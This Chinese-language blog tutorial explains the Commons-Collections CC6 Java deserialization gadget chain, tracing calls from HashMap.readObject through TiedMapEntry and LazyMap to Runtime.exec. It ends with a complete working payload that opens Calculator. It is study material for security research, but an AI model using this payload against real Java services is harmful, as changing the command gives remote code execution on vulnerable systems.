JF2—CommonsCollections之CC6

URLDNS的污点选取的是DNS查询功能,无法执行命令,只能用于漏洞探测。CC6则选取了能够反射执行Runtime相关方法的类——利用Commons-Collections组件中的InvokerTransformer + ChainedTransformer + ConstantTransformer

Commons-Collections组件

Commons-Collections是用于增强Java集合(Collections)的,也就是说它对Java常用的Collections—Map、List、Set等进行了相应的开发。例如对于Map,它扩展出了LazyMap、MultiValueMap、TransformedMap等。Map中每一个键值对相关类用xxEntry来表示。

CC6就用到了LazyMap,Lazy意味着“懒加载”,即在初始化时为空,进行put操作的时候才真正初始化(按需创建)。当LazyMap.get(Object key)方法获取对象时,如果映射中不存在key,将使用工厂创建对象。这个工厂就是Transformer接口类型的。

Transformer

Transformer接口,顾名思义是将一个对象转换为另一个对象的转换器,在3.1版本CommonsCollections组件中搜索其实现类包含13个:ChainedTransformer(将各个转换器连在一起)、InvokerTransformer(用反射创建新的对象)、ConstantTransformer(返回常量)、InstantiateTransformer(反射创建新的对象)等。

反射本身就是Java RCE的一个常用污点。跟进看一下用反射创建对象的InvokerTransformer,代码如下

# InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

public Object transform(Object input) {
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);         
    } ...
}

如果input(类)、iMethodName(方法)、iParamTypes(参数类型)、iArgs(参数)都可控,就可以通过反射完成任意类中方法的调用。后三个都可以通过InvokerTransformer自身构造函数传入。但是要对input赋值,需要找到调用InvokerTransformer.transform()的地方。手动调用的transform()方法代码如下:

InvokerTransformer invokerTransformer1=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"});
invokerTransformer1.transform(Runtime.getRuntime());

但是在反序列化构造中需要能自动调用,这也是这条链最巧妙的地方—ChainedTransformer,其transform()方法可以调用所有实现了Transformer接口类的transform()。也就是它注释中提到的将各个转换器连在一起。

# ChainedTransformer
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

那么poc就变成了这样

Transformer[] invokerTransformer= new InvokerTransformer[]{
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
        };
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());

本来是为了解决InvokerTransformer.transform()无法自动调用,现在就变成了需要解决chainedTransformer.transform()无法自动调用的问题,即寻找CommonsCollections中有没有其他方法可以调用chainedTransformer.transform()

LazyMap

前面提到LazyMap是“懒加载”,其get方法获取对象时,如果不存在key,就使用工厂类创建对象,代码如下:

# LazyMap

    protected transient Map map;
    protected final Transformer factory;

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

那么如果此时的factory是ChainedTransformer类型的,就会自动调用其transformer方法,从而解决上个问题。如何给factory赋值呢?LazyMap的构造方法可以,但是LazyMap不能直接new,而是通过自身的decorate()方法来创建。

   public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

结合URLDNS链条最后走到的是HashMap.hashCode(),现在这条链从污点往上推到了LazyMap.get()。问题是,如果把二者连接起来。二者的共性在于都是属于Map接口实现类,结合Map这种数据结构。思路就变成了从Map接口实现类中找一个其hashCode方法存在get调用的类。

最后这条链给出的答案是TiedMapEntry,其hashCode方法如下

    public int hashCode() {
        Object value = getValue();  // return map.get(key);
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

那么整条CC6调用链就连了起来

        java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
                java.util.HashMap.hash()
                  org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

Payload构造

但是在构造payload时要注意一个问题,前面对于反射我们给出了如下的形式

Transformer[] invokerTransformer= new InvokerTransformer[]{
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
        };
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());

这种传入Runtime.getRuntime()对象在反序列化时会报错:java.io.NotSerializableException: java.lang.Runtime。想要进行反序列化,要求序列化的对象和它使用的内部属性对象,必须都实现java.io.Serializable接口。但是Runtime类并没有实现这个接口,所以不能当作对象传入,只能用反射来使用。

Runtime.getRuntime无法反序列化的问题

接下来就是把Runtime.getRuntime()完全用反射形式进行拆解如下,然后再利用Transformer实现类进一步拆解。

String cmd="open /System/Applications/Calculator.app";
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);

然后就有了网上这段payload

        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
        };
        Transformer chainedTransformer=new ChainedTransformer(Transformer);

最大的区别在于此处传入的是Runtime.class,它是Class类型的,Class类型实现了java.io.Serializable接口。解决了传入Runtime.getRuntime()无法反序列化的问题。

根据上面的思路,可以构造出如下payload,但是在测试时会遇到两个问题:(1)真正反序列化的时候没弹计算器(2)还没有反序列化就弹出了计算器

        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);

        HashMap hashMap=new HashMap();

        Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");

        Map hashMap1=new HashMap();
        hashMap1.put(tiedMapEntry,"value2");

(1)真正反序列化的时候没弹计算器
调试过程中发现在LazyMap.get()这步出了问题。想要执行后面的transform,需要map.containsKey(key)==false,但是在payload中new TiedMapEntry(lazyMap,"axisx");这步存入的axisx,反序列化时这个key是在map中的,此处判断为true,反序列化后续链条无法执行。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

那么想解决这个问题就需要在上述payload的最后加入lazyMap.remove("axisx");,将这个key移除。

(2)还没有反序列化就弹出了计算器
去调试可以发现,问题出现在hashMap1.put(tiedMapEntry,"value2");这行代码,由于在put的时候会自动计算hash,调用了TiedMapEntry.hashCode(),后续反序列化链条被执行了一次。

# HashMap
public V put(K key, V value) {
    int hash = hash(key);
}

final int hash(Object k) {
    int h = hashSeed;
    h ^= k.hashCode();  // TiedMapEntry.hashCode
}

那么想解决这个问题,需要让后续的Transformer先不要执行。可以先给ChainedTransformer赋一个假值,这样put时不会弹计算器,然后在payload的最后再将这个值通过反射修改成正确的值,使得反序列化时能正常解析。

那么最终的payload如下

        Transformer[] tmp = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(tmp);

        HashMap hashMap=new HashMap();

        Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");

        Map hashMap1=new HashMap();
        hashMap1.put(tiedMapEntry,"value2");

        lazyMap.remove("axisx");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, Transformer);

这个payload是极简版payload,ysoserial在CC6的入口选取的是java.util.HashSet.readObject(),这里直接用的HashMap.readObject。反序列化链条本身就可以有很多组合。学习思路最为重要。

你可能感兴趣的:(JF2—CommonsCollections之CC6)